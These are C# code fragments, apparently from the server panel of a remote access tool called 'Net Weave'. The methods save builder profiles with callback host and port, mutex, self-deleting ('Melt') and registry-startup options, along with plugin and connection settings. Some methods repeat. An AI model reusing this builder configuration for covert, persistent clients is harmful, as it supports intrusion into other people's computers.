protected override void OnFormClosing(FormClosingEventArgs e) { //Notify.KillAndClose(); ni.Dispose(); CloseAll(); Pinger.Stop(); SettingsWriter w = new SettingsWriter(Settings.Reg); w.Write(total, "TOTAL"); w.Close("Total"); GlobalProperties.Client.Close(); if (Opacity != 0.0) { e.Cancel = true; new Thread(() => { while (Opacity != 0.0) { Invoke((MethodInvoker) delegate { Opacity -= 0.1; }); Thread.Sleep(50); } Invoke((MethodInvoker) delegate { base.OnFormClosing(e); Environment.Exit(0); }); }).Start(); } }
void save() { GlobalProperties.NI.ShowBalloonTip(2000, "Saving Plugins...", "The plugins are now being saved.", ToolTipIcon.Info); new Thread(delegate() { SettingsWriter w = new SettingsWriter(Settings.Reg); w.Write(GlobalProperties.RawPlugins, "Plugins"); w.Close("Plugins"); }).Start(); modified = false; }
private void btnResetTotal_Click(object sender, EventArgs e) { if (MessageBox.Show("Are you sure?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) != System.Windows.Forms.DialogResult.Yes) { return; } try { SettingsWriter w = new SettingsWriter(Settings.Reg); w.Write(0, "TOTAL"); w.Close("Total"); GlobalProperties.MainForm.ResetTotal(); } catch { } }
private void btnSaveProfile_Click(object sender, EventArgs e) { if (lstProfiles.SelectedItems.Count == 0) { MessageBox.Show("No profiles selected for saving.", "", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } ProfileData d = lstProfiles.SelectedItems[0].Tag as ProfileData; d.Host = txtHost.Text; d.Port = cint(txtPort.Text); d.EnableBackupHost = xBackup.Checked; d.ConnectionPassword = txtPassword.Text; d.UninstallPassword = txtUpdatePassword.Text; d.VisibleMode = xVisMode.Checked; d.BackupHost = txtBackupHost.Text; d.BackupPort = cint(txtBackupPort.Text); d.DirectoryName = txtFolderName.Text; d.FileName = txtFilename.Text; d.Hkcu = xHKCU.Checked; d.HkcuKey = txtHKCU.Text; d.Hklm = xHKLM.Checked; d.HklmKey = txtHKLM.Text; d.ShowConsole = xShowConsole.Checked; d.PluginRegName = txtPluginStoreName.Text; d.PluginRegLocation = txtPluginStoreLoc.Text; d.Mutex = txtMutex.Text; d.Melt = xMelt.Checked; d.LastModified = DateTime.Now.ToShortDateString(); d.Install = xInstall.Checked; d.Name = lstProfiles.SelectedItems[0].Text; lstProfiles.SelectedItems[0].Tag = d; lstProfiles.SelectedItems[0].SubItems[1].Text = d.LastModified; SettingsWriter w = new SettingsWriter(Net_Weave_R.Misc.Settings.Reg); w.Write(d, "DATA"); w.Close("PROFILE_" + d.ID.ToString()); MessageBox.Show("Saved.", "", MessageBoxButtons.OK, MessageBoxIcon.Information); }
private void btnResetTotal_Click(object sender, EventArgs e) { if (MessageBox.Show("Are you sure?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) != System.Windows.Forms.DialogResult.Yes) return; try { SettingsWriter w = new SettingsWriter(Settings.Reg); w.Write(0, "TOTAL"); w.Close("Total"); GlobalProperties.MainForm.ResetTotal(); } catch { } }
protected override void OnFormClosing(FormClosingEventArgs e) { //Notify.KillAndClose(); ni.Dispose(); CloseAll(); Pinger.Stop(); SettingsWriter w = new SettingsWriter(Settings.Reg); w.Write(total, "TOTAL"); w.Close("Total"); GlobalProperties.Client.Close(); if (Opacity != 0.0) { e.Cancel = true; new Thread(() => { while (Opacity != 0.0) { Invoke((MethodInvoker)delegate { Opacity -= 0.1; }); Thread.Sleep(50); } Invoke((MethodInvoker)delegate { base.OnFormClosing(e); Environment.Exit(0); }); }).Start(); } }
public static void Save() { try { SettingsWriter w = new SettingsWriter(Reg); w.Write(Ports, "Ports"); w.Write(Passwords, "Passwords"); w.Write(DupPrevnt, "Dup"); w.Write(LogConnected, "LogConnect"); w.Write(LogDisconnected, "LogDis"); w.Write(NotifyConnected, "NotifyCon"); w.Write(NotifyDisconnected, "NotifyDis"); w.Close("Settings"); } catch { } if (GlobalProperties.RawPlugins.Count > 0) { try { SettingsWriter w = new SettingsWriter(Reg); w.Write(GlobalProperties.RawPlugins, "List"); w.Close("Plugins"); } catch { } } }